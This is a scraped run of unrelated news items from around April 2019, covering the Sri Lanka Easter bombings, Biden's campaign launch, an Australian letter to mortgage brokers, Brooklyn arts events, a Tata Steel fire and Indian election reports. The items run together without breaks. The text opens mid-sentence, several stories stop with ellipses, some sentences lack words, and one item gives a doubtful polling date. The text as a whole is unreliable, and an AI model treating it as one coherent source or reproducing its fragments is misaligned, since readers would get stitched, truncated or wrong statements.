bomb, killing herself, her two children and three police officers. More than 60 people have already been arrested over the attacks. Authorities also blocked social media services including Facebook, YouTube, WhatsApp, Instagram and Snapchat following Sunday's atrocities in a bid to stop the circulation of false information and reduce the risk of further violence. Security lapses The Sri Lankan government has been under pressure for failing to act on detailed warnings sent earlier this month that suicide attacks on churches were imminent. India's main intelligence agency, the Research and Analysis Wing, reportedly sent as many as three alerts to Sri Lanka, including one a few hours before the Easter Sunday bombings. Sri Lankan President Maithripala Sirisena is responsible for security matters and the country's Prime Minister, Ranil Wickremesinghe, has indicated he didnt receive the warnings. Loading Deep rifts within the Sri Lankan government may have contributed to security failures. Late last year Sirisena triggered a political crisis when he tried to oust Wickremesinghe, who is from a rival political party. Deakin University professor Greg Barton says the tensions between Sirisena and Wickremesinghe had contributed to the attack taking place. "This was a perfect storm exploited by Islamic State," he said. "[Sri Lankan authorities] weren't listening to India, they weren't sharing intelligence between agencies, and they were so fixated on the Tamil Tigers. "But 30 to 40 Sri Lankans had gone to Islamic State, to Syria, the group involved had hitherto been known as a hateful extremist group rather than a violent one, and they have gone from attacking Buddhist statues to this attack." An image supplied by Islamic State's Amaq propaganda arm purports to show those behind the Easter Sunday attacks. Nitin Pai, the director of the Bangalore-based Takshashila Institution think tank, says the Sri Lanka attacks, like last month's mosque shootings in Christchurch, New Zealand, foreshadows a new form of terrorism where the terrorists, the targets or both have little to do with the politics of the country where the attacks occur. "The local group suspected of carrying out the attacks had few grievances against the local Christian community," he said. "Their action was in pursuit of the agenda of a foreign organisation [IS] that had a global agenda." While the perpetrators were from Sri Lanka, the attacks do not make sense in the context of the island's domestic politics. This was also the case in Christchurch, says Pai. He labels this "third-party terrorism" and warns it will be difficult and costly to combat: "Such terrorists could choose a country merely because it offers easier opportunities for attacks." A region at risk The attacks in Sri Lanka also raise questions about similarities and differences with other recent IS-inspired or linked attacks in South and South-east Asia. Two examples that stand out are the May 13, 2018 suicide bombings in the Indonesian city of Surabaya and the January 27, 2019 bombing of the Our Lady of Mount Carmel cathedral in the Philippines' city of Jolo. The five bombings in Surabaya three churches and a police station were hit, while a bomb also exploded in an apartment during a police raid were carried out by the IS-inspired Jemaah Anshorut Daulah and killed 28 people. Indonesian police have stated that three families carried out the attacks, with the youngest attacker being a nine-year-old girl. The Jolo attack killed 23 people and is thought to have been carried out by an Indonesian couple working with a pro-IS faction of the Abu Sayyaf group though the nationality of the attackers is disputed and still being investigated. The woman involved detonated the first bomb inside the church, while her husband blew himself up seconds later at the church's entrance. Police investigators examine the site after the January bombings in Jolo, Philippines. Credit:AP In both cases, churchgoers and security forces were killed and many more people injured but the scale of each operation was considerably smaller. There are other key differences, such as geopolitical factors, that distinguish the attack in Sri Lanka from recent IS-inspired terrorism in South-east Asia. Sidney Jones, from the Jakarta-based Institute for Policy Analysis of Conflict, says the Indonesia and Philippines cases were "small potatoes" compared to Sri Lanka "in terms of the planning and the competence and the professionalism". "The thing that distinguishes South-east Asia from South Asia is that you dont have regional politics in play. In South Asia, whenever something comes up involving an Islamist terrorist group, you have to immediately think of which neighbour is undermining whom," says Jones, one of the foremost experts on Islamist extremism in South-east Asia. A Sri Lankan special task force officer stands guard in Negombo in the aftermath of the Easter Sunday attacks. Credit:AP "Pakistan and India are always at play in some of these issues immediately India or Sri Lanka might blame Pakistan, for example." "That doesnt operate in the South-east Asia context. No one is interested in assisting these extremist groups [to] improve their skills. No government in the region is interested in undermining one of its neighbours." Barton says the attacks in Sri Lanka were the biggest by IS anywhere because of the death toll, the scale and the complexity involved in carrying them out. "Most of the attacks we have seen in recent years have been lone actors, one or two people, in Nice, London, Orlando," he says. But Barton says there is a parallel between the attacks in Sri Lanka and the attack in Surabaya in that "it seems be one extended family network [that carried out the killings], probably communicating face-to-face and off the grid. Anusha Kumari holds portraits of her daughter Sajini Venura Dulakshi and son Vimukthi Tharidu Appuhami, both victims of Easter Sunday's bomb blast in Negombo. Her husband was also killed in the attack. Credit:AP "But the big parallel is with Dhaka in 2016, the Holey Artisan bakery attack [in which 22 people were killed]. That had equipment, logistics and training from Islamic State, at one remove, and was an audacious military-style assault, with hostages and executions." Bangladeshi authorities, Barton says, had convinced themselves they didn't face a threat from Islamist terrorism much as Sri Lankan authorities had done. "Both Bangladesh and Sri Lanka faced a threat from local extremists being amplified in their capacity by international networks and they were insistent on saying their problems were local only and of limited severity. But in fact in both cases there was an Islamic State presence which was consequential in the scale and intensity of the attacks that were launched," he adds. Barton says that Indonesia is very different to Sri Lanka or Bangladesh as it has acknowledged it has a local support network for IS and has had them under intense scrutiny. "Indonesia actually has a lot of capacity, Detachment 88 [a crack counter-terrorist unit formed after the 2002 Bali bombing] has arrested more than 1400 people. They are very good at intelligence," he says. The Philippines is different again, as it had been reluctant to acknowledge the growing allegiance to IS that some of its extremists had. The siege of the southern city of Marawi in May 2017 forced the government to acknowledge the problem posed by extremists to Islamic State was much bigger, "but they still don't have the capacity to deal with it as Indonesia does". Loading Barton says the attacks are a reminder that the "reality is that this global insurgency of Islamic State is a real thing and it will be with us for a while longer". Barton expresses concerns that Malaysia and Thailand could also be vulnerable. "One of the places where we should be concerned is Malaysia. Malaysia, like Bangladesh, says it has things under control but the reality is they may not. They have a very good special branch section in their national police. That lack of incidents there is because of special branch. The question is how long can that be the case?" In Thailand, which has three restive majority-Muslim provinces on its southern border with Malaysia, "it's also quite possible we could see repeated in Bangkok or Chiang Mai the sort of attacks we saw in Sri Lanka. The idea is that there isn't jihadis in the centre or the north of the country. So there is a real risk in terms of a rude awakening." Loading David Brewster, a specialist in Indian Ocean regional security at the Australian National University's National Security College, said the Easter Sunday attack emphasised how important it is for Australia to engage with Sri Lanka and its neighbours. UN Secretary General Antonio Guterres has welcomed the talks held between Russian President Vladimir Putin and North Korean leader Kim Jong-un, his spokesperson Stephane Dujarric said. According to him, the Secretary General welcomes all opportunities for dialogue in an effort to resolve the crisis on the Korean Peninsula, TASS reported. The first talks between the Russian president and the North Korean leader were held in the Russian city of Vladivostok yesterday. During the summit, they also had a face-to-face meeting. New York: Joe Biden's entry into the field of Democratic presidential primary contenders was not a surprise. The former vice president has been hinting for months that this moment was coming. But Biden's official campaign launch on Thursday evening was still a stunning moment. Biden's pitch to American voters was a striking reminder of how unique his candidacy is - both in its strengths and weaknesses. In Biden's three-and-a-half minute launch video he didn't say much about himself. Unlike most of his rivals, he doesn't need to introduce himself to the American people. After almost four decades in the Senate and eight as Barack Obama's deputy, even low-information voters know who Biden is. Neither did he talk about policy. Bernie Sanders may be promising a political revolution and Elizabeth Warren may be rolling out new proposals almost daily, but not Biden. Latest News MoneyMe to acquire SocietyOne Deal brings together two of the fastest-growing brands in the non-bank space Resimac makes key broker channel hires Two new GMs to bolster broker support A letter addressed to mortgage brokers and signed by both Prime Minister Scott Morrison and Treasurer Josh Frydenberg has contrasted the liberal governments receptiveness to the industrys royal commission pushback with Labors unyielding embrace of 75 of the 76 recommendations. The letter directs attention to the time and effort the Morrison Government took to consult with brokers before deciding not to prohibit trails as per Commissioner Haynes counsel, but rather to revisit the issue in three years time. This decision is linked with the liberal governments assurance that brokers are critically important for competition and consumer outcomes in the mortgage market. The focus then shifts to an examination of the oppositions stance. The Labor party wants to prohibit trail commissions and introduce a fee capped at 1.1% of the value of a loan, which will mean you wont get properly compensated for the value you add to your clients. Unlike Labor, we support you and your industry. We will continue to advocate for you and the interests of the consumers you serve so well, the letter claims. Attention was also drawn to Labors proposed changes to negative gearing and housing taxes, which will lower home values, increase rents, and accelerate the slow-down in the property market. We are concerned about reports that Labor is refusing to listen to those affected, or those with expertise (such as yourself), who understand the risks, the letter continues. The conclusion came with an invitation to contact the offices of either Prime Minister Morrison or Treasurer Frydenberg for additional information on the governments position. Sign up for our amNY Sports email newsletter to get insights and game coverage for your favorite teams His photos bring Brooklyn into focus! A new art exhibition will showcase a famed photographers gritty images of Kings County during the Civil Rights Era. The Photographs of Builder Levy: Humanity in the Streets, opening on April 26 at the Brooklyn Historical Society, captures the citys physical and cultural transformation through the lens of a Brooklyn-bred shutterbug, according to the president of the Society. Builders photos are from the 60s and 70s, but they are certainly relevant today, in a time that we are feeling the push-and-pull of all kinds of political forces around us, and racial inequities that have continued to plague us, said Deborah Schwartz. It is very exciting to have a photographer that is focused on these issues. Levys work is an essential historical record of the turbulent era, according to Shwartz. His photographs cover a huge amount of territory, from everyday life to the really politically charged events of the 1960s, she said. He became interested in the way photography allowed him to focus attention on the civil rights movement, the Vietnam protests, the March on Washington, and street life in Brooklyn in the 1960s. The photographer will be at the Historical Society on May 2, along with fellow photojournalist Brian Palmer, for a conversation on documenting politically charged movements through the camera lens. The exhibit was created in collaboration with the Pratt Institute, with students from a museum curation class choosing the images on display, according to their professor. The subject was chosen by the Historical Society, so it was given to us, but it was a good one, said Karyn Zieve. We went and visited with him. We looked through his work, and read about him. We learned about the history of photography at the time, and really created a narrative and sentence about his work. The 12-student class searched through hundreds of Levys photos, choosing 30 images that would create a visual narrative about his life and his work. Zieve said the group attempted to capture both Levys artistic activism, as well as his chronicle of the changing New York landscape. He took photos of civil rights, social activism, anti-war political activism. But, at the same time, he took a lot of photos on the streets of Brooklyn as it was changing, she said. So, we really blurred the lines between his activism and his documenting of the city. The Photographs of Builder Levy at the Brooklyn Historical Society [128 Pierrepont St. at Clinton Street in Brooklyn Heights, (718) 2224111, www.brook lynhi story.org ]. On display April 26Aug. 11; WedSun, noon5 pm. $10 suggested donation. Reach reporter Aidan Graham at agrah am@sc hneps media.com or by calling (718) 2604577. Sign up for our amNY Sports email newsletter to get insights and game coverage for your favorite teams Friday April 26 Tale spins Step into a fairy tale at Grimm, a new immersive show from the Nazmo Dance Collective. The company which will use movement and storytelling to put a modern, adult spin on The Frog Prince, Cinderella, and the Caribbean legend The Soucouyant, exploring issues of gender, race, and immigration. And if you miss tonights show, it repeats on Saturday night. 7:30 pm at Center for Performance Research [361 Manhattan Ave. between Withers and Jackson streets in Williamsburg, (516) 3956868, www.nazmo dance colle ctive.com ]. $18. Saturday April 27 Toon out! Wake and dont bake for Spoons, Toons, and Booze Says No to Drugs! This brunch show features a cereal bar, drink specials, and a series of anti-drug cartoons from the 1980s and 90s that are sure to scare you straight! The screening will also feature the government-sponsored Cartoon All-Stars to the Rescue, (pictured) which aired only once in 1990 but you can catch it twice, today and again on Sunday. 10:45 a.m. at Nitehawk Cinema Prospect Park (188 Prospect Park West at 14th Street in Park Slope, niteh awkci nema.com/ prosp ectpa rk ). $18. Sunday April 28 In Memory At the end of next month, Brooklynites will march in the boroughs 152nd Memorial Day Parade the countrys oldest! Support the March by having a great time this afternoon at Patsys Pizzeria in Bay Ridge, where you can her five local bands, including Irish act the Canny Brothers (pictured). And a $10 raffle ticket could score you $100 gift certificate at two, four, or 10 different restaurants! 27 p.m. at Patsys Pizzeria (8814 Third Ave. between 88th and 89th street in Bay Ridge, www.patsyspizza.nyc). $20. Wednesday May 1 Girls night out On Wednesdays we wear pink! So don the appropriate color and head out to Parklife, which kicks off its outdoor summer film series with the cult classic Mean Girls. Before the show, there will be a trivia contest where you can show off your knowledge of the film, and at any time you can head inside to sample the new cocktail menu, which includes the delightful Pretty in Pink. 8 p.m. at Parklife (636 Degraw St. between Third and Fourth avenues in Gowanus, www.parkl ifebk.com ). Free. Paramount/Courtesy Everett Collection Thursday May 2 Its a politics Photographer Builder Levy and visual journalist Brian Palmer will come together to reflect on the common thread in their art: documenting politically charged moments in the midst of daily life, in the city, nation and world. Sign up for our amNY Sports email newsletter to get insights and game coverage for your favorite teams A disgraced state Senator threatened a small business owner following a testy civic meeting on April 17, during which she was denied permission to expand her business to Flatbush Avenue, she claims. After the meeting, Carl Kruger told us it was never going to happen, and not to waste my time. He was kind of threatening us, said Khadidra Muhammad. Kruger, who was recently released from a seven-year prison sentence for federal corruption charges and is not an official member of the board, made the ominous demand following a Community Board 18 meeting, according to Muhammad. Muhammad, the head of Priceless Event Planning, was seeking permission from the board to sell liquor at an event space located at 2047 Flatbush Ave. that she planned to open in June. The board unanimously rejected the request, after various civic leaders panned the proposal as destructive to the community. I felt like I was getting attacked, said Muhammad. It was like a firing squad. It was attack, attack, attack. Local leaders claimed that the venue would lead to disorderly conduct, rampant alcohol use, and late night loud music. Muhammad said her promises to hire security to keep patrons restrained and insulate the walls to limit noise fell on deaf ears. Other businesses also padded their walls, numerous times. Theyre no longer in business, said Marine Park Civic Association President Bob Tracey. We fought them. Weve gotten them numerous tickets. Weve gotten [them] numerous violations. Muhammad could appeal the Boards decision to the State Liquor Authority, but worries about retribution from community leaders. I dont have the finances to play the long game, if they were to try and run me out of the neighborhood. So were trying to figure out what to do, she said. All the excuses they gave were not valid, but they can make my life a living hell. The board could exploit various means to disturb Muhammeds business if she were to win her appeal with the state and set up shop in the neighborhood, according to one community leader who is counseling Muhammed through the process. They could go to the establishment with a decibal reader, and report the venue to the 63rd Precinct if it goes over the allowed level, which isnt really loud at all. They could raise a big issue about cars parking on the street. Theres a whole host of things they could do to cause problems, said Floyd Jarvis. Jarvis, who heads advocacy group the Canarsie Neighborhood Alliance, speculated whether race played a role in the boards decision to deny the license to Muhammad, who is African American. Everyone else gets a liquor licence, but only African Americans have to go through what you saw at that meeting, he said. Following the Boards rejection, Muhammad, who started the event planning business two years ago, doubted wether she had any recourse to change what she called a predetermined decision. I broke down and started crying, she said. I just wanted to explain who I am, and what I do, but there was no voice of reason. Their mind was made up before I showed up. UN Under-Secretary-General for Political and Peacebuilding Affairs Rosemary DiCarlo said that a lasting and durable ceasefire in Eastern Ukraine remains an urgent priority. "A lasting and durable ceasefire remains an urgent priority," she said at a Security Council meeting on Ukraine, voicing regret that discussions on recommitting to a ceasefire during the Trilateral Contact Groups meeting in Minsk were inconclusive. DiCarlo noted that the UN commends the Ukrainian people on the peaceful conduct of the recent presidential election. "The United Nations expects that the spirit and the letter of the Minsk agreements will be respected by all concerned," Xinhua cited DiCarlo as saying. The Under-Secretary-General urged all parties to avoid any unilateral steps that may potentially undermine the implementation of these agreements and to address concerns through constructive dialogue in the existing negotiation formats. Dear Reader, Business Standard has always strived hard to provide up-to-date information and commentary on developments that are of interest to you and have wider political and economic implications for the country and the world. Your encouragement and constant feedback on how to improve our offering have only made our resolve and commitment to these ideals stronger. Even during these difficult times arising out of Covid-19, we continue to remain committed to keeping you informed and updated with credible news, authoritative views and incisive commentary on topical issues of relevance. We, however, have a request. As we battle the economic impact of the pandemic, we need your support even more, so that we can continue to offer you more quality content. Our subscription model has seen an encouraging response from many of you, who have subscribed to our online content. More subscription to our online content can only help us achieve the goals of offering you even better and more relevant content. We believe in free, fair and credible journalism. Your support through more subscriptions can help us practise the journalism to which we are committed. Support quality journalism and subscribe to Business Standard. Digital Editor It is poetic that S Muthiahs first job after returning to Chennai, then Madras, in 1968 was with a firm that made atlases for he would eventually find purpose in mapping in panoramic detail the story of South Indias preeminent city. More than a dozen books, over 900 columns, and a local magazine were born of him over the next several decades out of an urge to record the genesis of all the built and natural heritage around him. Somewhere along the way, its name changed, but Chennai always remained Madras, that is Chennai for him. When he passed away last ... Ltd's Europe unit said on Friday a fire broke out at its Port Talbot site in South Wales but there were no major injuries and fire was now under control. The Port Talbot site, which dates back to the early 1900s, was acquired by as part of its acquisition of Corus in 2007. Port Talbot is home to one of the two integrated steelmaking sites that the company operates in Europe. The plant produces hot rolled, cold rolled and galvanized coil, among other types of steel. "There was an incident at the Port Talbot site and there are no major injuries and all persons have been accounted for. All fires at the site are now under control," said Damien Brook, a spokesman for Europe. We can confirm there are no serious injuries and all employees have been accounted for. All fires are now under control. Tata Steel in Europe (@TataSteelEurope) April 26, 2019 We can confirm two of our employees were slightly injured when there was a spillage of liquid iron while it was travelling to the steel plant. All fires have now been extinguished. A full investigation has begun. Tata Steel in Europe (@TataSteelEurope) April 26, 2019 Early this morning, a series of blasts were heard from Tata's steel plant at the Port Talbot site in South Wales, The Sun reported. Only two casualties with minor injuries were reported from the site, South Wales Police tweeted. "The fires has been extinguished, and that a full investigation launched into the incident, which it said started after a "spillage of liquid iron as it was travelling to the steel plant," Tata Steel said in a statement. Early indications suggested the explosion came from a train used to carry molten metal, police was quoted as saying by the report. "The explosion caused some small fires which are all under control and damage to some buildings on the site," the spokesman said. Locals reported their houses shook with the force of a blast at the Tata Steel site in Port Talbot in the early hours of Friday. Iranian Oil Minister Bijan Namdar Zanganeh believes that Saudi Arabia and the United Arab Emirates overstate their oil capacities. "The U.S. behavior and oil sanctions are not a bluff, but (the result of) very violent hostility toward the Iranian nation," IRNA cited the Iranian minister as saying. "I believe they (Saudi Arabia and the UAE) are overstating their oil capacities,"Zanganeh said. Earlier, Washington has decided not to renew its exemptions from U.S. sanctions to buyers of Iranian oil. A senior U.S. administration official said on Monday that President Donald Trump was confident Saudi Arabia and the United Arab Emirates would fill any gap left in the oil market. Saudi Arabias energy minister said he saw no need to raise oil output immediately after the United States ends its waivers, but added that the kingdom would respond to customers needs if asked for more oil. Seattle-based online retail major Amazon on Friday said it had to face downtime in India owing to recent changes in the countrys e-commerce regulations. While pointing out that it has bounced back since then, Brian T Olsavsky (pictured), senior vice president and chief financial officer of Amazon, said during an earnings call that the company had to make structural changes to comply with all the new regulations in India. There were a few days of downtime for some of our selection (in India). But for the full quarter, the impact was minimal and we're in ... Vowing to overturn existing theories on anti-incumbency, Prime Minister Narendra Modi asked his workers to ensure two things: that there was no belittling of Opposition candidates; and that the BJP must report a victory in every booth. Addressing a BJP workers meeting, where supporters cheered wildly, Modi said: After yesterdays road show, it seems the voters have already decided who will win. He said he would be caught up in the campaign all over India and might not be able to return to Varanasi. In that sense, he would be a candidate who will fill the ... The pollsters may be more or less unanimous in predicting a thumping victory for Prime Minister Narendra Modi's BJP, but Hapur's "satta bazaar" is betting on a much closer fight. Punters do see Modi returning to power but not a wave as such in his favour. The "Modi magic" cannot be felt the way it was in 2014, and the Bharatiya Janata Party (BJP) is likely to finish with far less number of seats than the 2014 tally of 283, predict punters. "We are expecting the BJP to win 240 seats. At best, the tally may touch 245 but not more than that," said ... Britain is committed to help realise the potential of China's Belt and Road Initiative (BRI), British finance minister Philip Hammond said on Friday, describing the policy as a "vision". Speaking at a summit in Beijing on China's programme to re-create the old Silk Road joining China with Asia and Europe, Hammond said the BRI must work for everyone for it to turn into a sustainable reality and he offered British expertise in project financing. "The Belt and Road Initiative has tremendous potential to spread prosperity and sustainable development, touching as ... SAS pilots in Norway, Sweden and Denmark went on strike on Friday as wage talks broke down, triggering queues at airports as the carrier cancelled around 70 percent of its flights. A strike across the three Scandinavian countries could affect some 170,000 passengers during the weekend, SAS has said. SAS said on Friday it hoped to resume negotiations and reach an agreement as soon as possible. "As a consequence of the strike, domestic, European and long-haul flights have been cancelled, and thousands of travellers will be affected," it said in a statement. SAS ... US President Donald Trump said on Thursday he would soon host Chinese leader Xi Jinping at the White House, setting the stage for a possible agreement on trade between the world's two largest economies. The White House said on Tuesday that Treasury Secretary Steven Mnuchin and U.S. Trade Representative Robert Lighthizer would travel to Beijing for additional talks on a trade dispute that has led to tit-for-tat tariffs between the two countries. Chinese Vice Premier Liu He, who will lead the Beijing talks for China, will also travel to Washington for more discussions starting on ... Early next year, after a nearly $170 million redevelopment, Pariss 130-year-old Bourse de Commerce will reopen as a contemporary art museum. Unlike the world-famous state-funded museums nearby against which it hopes to measure up namely, the Louvre and the Pompidou Center this one will be financed by one man: the French billionaire Francois Pinault, whose collection consists of about 5,000 works by artists such as Jeff Koons, Cy Twombly, and Cindy Sherman. Pinault, 82, is the founder of the company that eventually became the Kering luxury-goods group. His ... The Afghan National Defence and Security Forces freed at least 53 people from a Taliban prison in an operation in Daichopan here, the Afghan Ministry of Defence said on Friday. The ministry added that eight Taliban terrorists were killed during the operation, reports TOLOnews. Four Commando Forces personnel and four police force members are amongst the rescued individuals, as per the ministry. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Minutes after Aam Aadmi Party's (AAP) East Delhi Lok Sabha candidate, Atishi, alleged that the BJP candidate Gautam Gambir has two voter IDs of two separate constituencies of Delhi and will soon be disqualified for the same, Delhi CM Arvind Kejriwal took to Twitter and urged people not waste their vote. "Voters shud not waste their vote on someone who will get disqualified soon," the Delhi Chief Minister tweeted. Atishi at around 2 pm today on Twitter also urged the citizens not to cast their ballot in favour of Gambhir asserting that he will be disqualified soon. "My appeal to the citizens of East Delhi Lok Sabha - pls don't waste your vote by voting for @GautamGambhir; he is going to get disqualified sooner or later for having two Voter ID cards! apnaa vott vyrth naa kreN! #GambhirApradh," she said. Delhi which has seven Lok Sabha seats will go polls on April 12 and the counting of votes will take place on May 23. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Acquist Marketing and Information Solutions, a leading marketing consultancy and real estate offering, announced on April 20, 2019, that it has further strengthened its stance across international markets via the launch of London Realty Connect. The Company has been operational for over five years now, observing over 35 per cent YoY growth, right from the first year. In fact, the Acquist Group is entirely self-funded and has maintained positive growth irrespective of market turmoils and lack of external support. The Growth Journey According to Sanjay Guha, Founder and CEO, Acquist Marketing, the company had a humble beginning. Guha invested around Rs 45 lakhs of his earnings to lay foundations for the Acquist Group. Acquist Marketing started out as a privately-held marketing consulting company, operating across direct marketing, digital marketing, and research and publishing spaces. Soon after, Acquist landed multiple clients across real estate, IT, BFSI, energy, etc., managing their entire suite of marketing and data-related requirements, resulting in over 35 per cent growth YoY for the company. The Real Estate Venture While working on lead generation campaigns for real estate clients, Sanjay observed that irrespective of lead quality, most of the leads did not transform into closures. "We believed that this gap was an opportunity to play to our strengths and, thereby, for Acquist to diversify," said Sanjay Guha. With partners like L & T Realty, Godrej Properties, Mahindra Lifespaces, etc., Acquist has gained industry-wide credibility, supporting its self-funded, organic growth. "By 2017, Acquist Realty's contribution to the was 40 percent and soon we started an NRI division to enable NRIs to invest in India," he added. Steps in the West The Acquist Realty team, when working with NRIs, had to shift through multiple regulations and investment opportunities in the west. According to Sanjay, the company realized that while helping NRIs to invest in India, it could also help Indian residents invest in the west. As a result, Sanjay started Acquist London Realty Connect in October 2018. Within the first 4 months, the company clocked sales of around GBP 10 million. Growth Prospects "A 'people-first' company, Acquist Group attributes its incremental growth to the company's core team. Many of the 30-member team who are leading key businesses today joined us as trainees a few years ago. They could have gone to cosy pastures when the economy was volatile. But they chose to work without a hike, without incentives. And, Acquist could not be here today without them", Sanjay added further. With a proper work-life balance, even after being a sales-oriented firm, Acquist Group has set some benchmarks for service-oriented firms across the nation. The Acquist group, as per latest stats, has crossed USD 2.5 million of revenues cumulatively in the last 5 years while expanding into Delhi, Mumbai, Goa, Bengaluru, Singapore and the UK. "In all our three ventures, Acquist has always been target-oriented, ROI focused and driven organic growth. We work only with teams who align with our vision. We are at a stage where we are confident of leveraging any opportunity in any industry across the globe", Sanjay concluded. This story is provided by NewsVoir. ANI will not be responsible in any way for the content of this article. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Telugu Desam Party (TDP) on Thursday accused the Andhra Pradesh's Chief Electoral Officer (CEO) of transferring Director General (DG) Intelligence, Superintendents of Police of various districts and the Chief Secretary without consulting the state government. A letter written by Andhra Pradesh chief minister and TDP leader N Chandrababu Naidu to the Election Commission of India (ECI) reads, "Whether it is unilateral transfer of the DG Intelligence (who was also in charge of the security of Honourable CM's Z plus security) or the unilateral transfer of Superintendents of Police of various districts or the transfer of Chief Secretary without seeking a panel from the state government, the ECI acted on the frivolous and frequent complaints by office bearers of opposition party in AP i.e. YSRCP." The CM also accused the CEO of obstructing the state government administration in the post-election period by issuing statements in the media that the CM does not have the right to oversee administration in the state while the Model Code of Conduct (MCC) is in force. "The CEO, Andhra Pradesh reportedly mentioned that the Chief Minister does not have powers to review the departments. Newspapers of Andhra Pradesh and news channels too have carried out these comments of CEO, Andhra Pradesh and gave wide publicity, disturbing not only the People's perception over the democratic governance but also the established conventions of Democratic Polity. CEO's reported comments are without any jurisdiction as there is no such provision in Model Code of Conduct that the Chief Minister cannot hold review meetings." "Though I am duty bound and empowered to conduct review meetings, I am constrained by the embarrassing apprehensions faced by the concerned participating officers due to the reported misinformation spread by the CEO in the media. He is exceeding his jurisdiction. He has also instructed Additional DG (Intelligence) who works directly under the control of Chief Minister not to report to the Chief Minister. Because of his illegal orders, Additional DG (Intelligence) is not reporting to me. I would like to know from Election Commission of India, whether the reporting authority of Additional DG (Intelligence) is also changed by ECI and if so, who is his reporting authority, if not Chief Minister," the letter added. Voting took place for the 25 Lok Sabha seats in Andhra Pradesh and for its 75 Assembly seats on April 11. The counting of votes will begin on May 23. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A 35-member women police team 'Sthree Shakthi' was launched in Visakhapatnam on Thursday. The 35-member team has woman ASIs, head constables, police constables and home guards. The team has been provided 25 vehicles, including two four-wheelers. "It is a 35 members team. We have started with 25 vehicles, 5 four wheelers and rest are motorcycles and scooters. This is mainly for the protection of women. The women-related issue can be informed to the team and then they will take action accordingly. From drivers to police personnel, everyone is a woman," said Andhra Pradesh DGP AP Thakur. In Visakhapatnam, there are a number of educational institutions and workplaces where women are working in large numbers. Our prime concern is to ensure safety to women," he said. The initiative was taken to provide security to women and girls. All the police constables were imparted training in the car driving, swimming, communication skills and self-defence for one month.They all will be deployed on important junctions of the city. They will handle women-related issues including eve-teasers and trouble-mongers. The Shakti police will don a blue colour shirt and khaki colour pant as uniform. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Bharatiya Janata Party (BJP) on Friday wrote to the Chief Electoral Officer (CEO) seeking prompt action against West Bengal Chief Minister Mamata Banerjee, alleging that she violated the Model Code of Conduct (MCC) by asking her party workers to resort to violence to ensure Trinamool Congress (TMC) victory in the elections. The letter written by BJP to the CEO reads, "In an election meeting at Seuri (Bhirbhum PC) held on 25 April 2019; Smt Mamata Banerjee had advised her followers to conduct elections with intimidations and threats. This was a serious violation of MCC, where the Chief Minister of the State and the Chairperson of Trinamool Congress Party was instigating her workers to take the course of violence in the election." The letter also mentions the need for Central Armed Police Forces (CAPF) to be deployed in all booths for the elections which are to be held in the fourth phase in WB since violence in the third phase of elections had led to the death of a voter. The letter further states a brutal attack launched by the state police forces on the lawyers at Howrah District Court, which according to the BJP, is another example of the pitiable condition of law and order in Bengal. "On 24 April 2019, there was an incident of a brutal attack on lawyers by the State Police Force at Howrah District Court. The incident is yet another burning example of the miserable condition of law and order situation of the State." "As a direct consequence of the unfortunate incident, the agitating legal fraternity has called seize of work (strike) of all legal process of the state including the functioning of the courts till 29 April 2019," the letter states. The letter further says that there is an immediate need by the CEO and the Election Commission to intervene and take strong action against the West Bengal CM for encouraging poll violence and to deploy central armed forces to ensure free and fair elections in the state. Elections in West Bengal were held in three phases and will continue in the remaining four phases on April 29, May 6,12 and 19. The counting of votes will begin on May 23. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) BJP president Amit Shah on Friday said that the Congress governments failed to do anything for the poor despite ruling for more than five generations in the country. "Rahul Gandhi says that he will ensure justice for the poor in the country. Except giving slogans to the poor people, has your party done anything for them in more than 55 years of its rule?," asked Shah, while addressing an election rally here. Commending the performance of Prime Minister Narendra Modi led government at the Centre, Shah said: "I have visited more than 259 Lok Sabha constituencies across the nation." "Everywhere people are chanting the slogan of Modi-Modi. It is not because of his popularity but thanks to the welfare work done by the BJP government in the last five years," he said. Terming Rajasthan as "the land of braves," Shah also paid homage to five CRPF personnel from the state who were martyred in Pulwama terror attack on February 14 this year. Elections for 25 Lok Sabha seats in Rajasthan are scheduled to be held in two phases starting from April 29 and ending on May 6. The counting of votes will take place on May 23. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The India Meteorological Department (IMD) yesterday issued a cyclonic storm warning to the states of Tamil Nadu and coastal Andhra Pradesh. The organisation warned of a well-marked low pressure system over equatorial Indian Ocean and adjoining south-east Bay of Bengal which is likely to intensify into a cyclone in the coming days. "The depression over East Equatorial Indian Ocean and adjoining south-east Bay of Bengal has moved north-westwards with a speed of about 16 kmph in last 03 hours and lay centred at about 1090 km east south-east of Trincomalee (Sri Lanka), 1440 km southeast of Chennai (Tamil Nadu) and 1720 km south-southeast of Machilipatnam (Andhra Pradesh). It is very likely to intensify further into a deep depression during the next 24 hours and into a Cyclonic Storm during the subsequent 12 hours," the IMD stated in its advisory. "Wind speeds are likely to hover between 35-75 km/hour in the next one week with heavy to very heavy rainfall predicted on April 30 and May 1. Fishermen have been advised not to venture forth into the sea during this period," it further said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A Delhi Court on Friday sought an Action Taken Report (ATR) from Delhi Police on a criminal complaint seeking directions for registration of an FIR under section 124A (IPC-- Sedition charges) against Congress president Rahul Gandhi. The complaint was filed by Joginder Tuli, an advocate practising in the Supreme Court, saying that Gandhi had accused the Prime Minister of 'hiding behind the blood of soldiers and doing dalali on their (soldiers') sacrifice. Additional Chief Metropolitan Magistrate (ACMM) Samar Vishal sought the report from Parliament Street Police by the next hearing (May 15). Advocate Tuli annexed a newspaper cutting which published the news of the said speech given by Gandhi. The petitioner also alleged that he had approached the concerned police station, but no action was taken by the police. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Aviation regulator DGCA has launched a probe after an aircraft carrying Congress president Rahul Gandhi developed engine trouble on Friday and was forced to return to Delhi. Gandhi was on his way to Bihar for an election rally. A senior official of the Directorate General of Civil Aviation (DGCA) said, "M/s Forum 1 Aviation Hawker 850 XP aircraft VT-KNB returned to Delhi after takeoff due to a technical snag." He said, "The aircraft landed safely in Delhi at 10.20 am. There were 10 people on board including eight passengers and two crew members. The DGCA has initiated an investigation as per the laid down procedure." Gandhi had tweeted, "Engine trouble on our flight to Patna today! We have been forced to return to Delhi. Today's meetings in Samastipur (Bihar), Balasore (Orissa) & Sangamner (Maharashta) will run late. 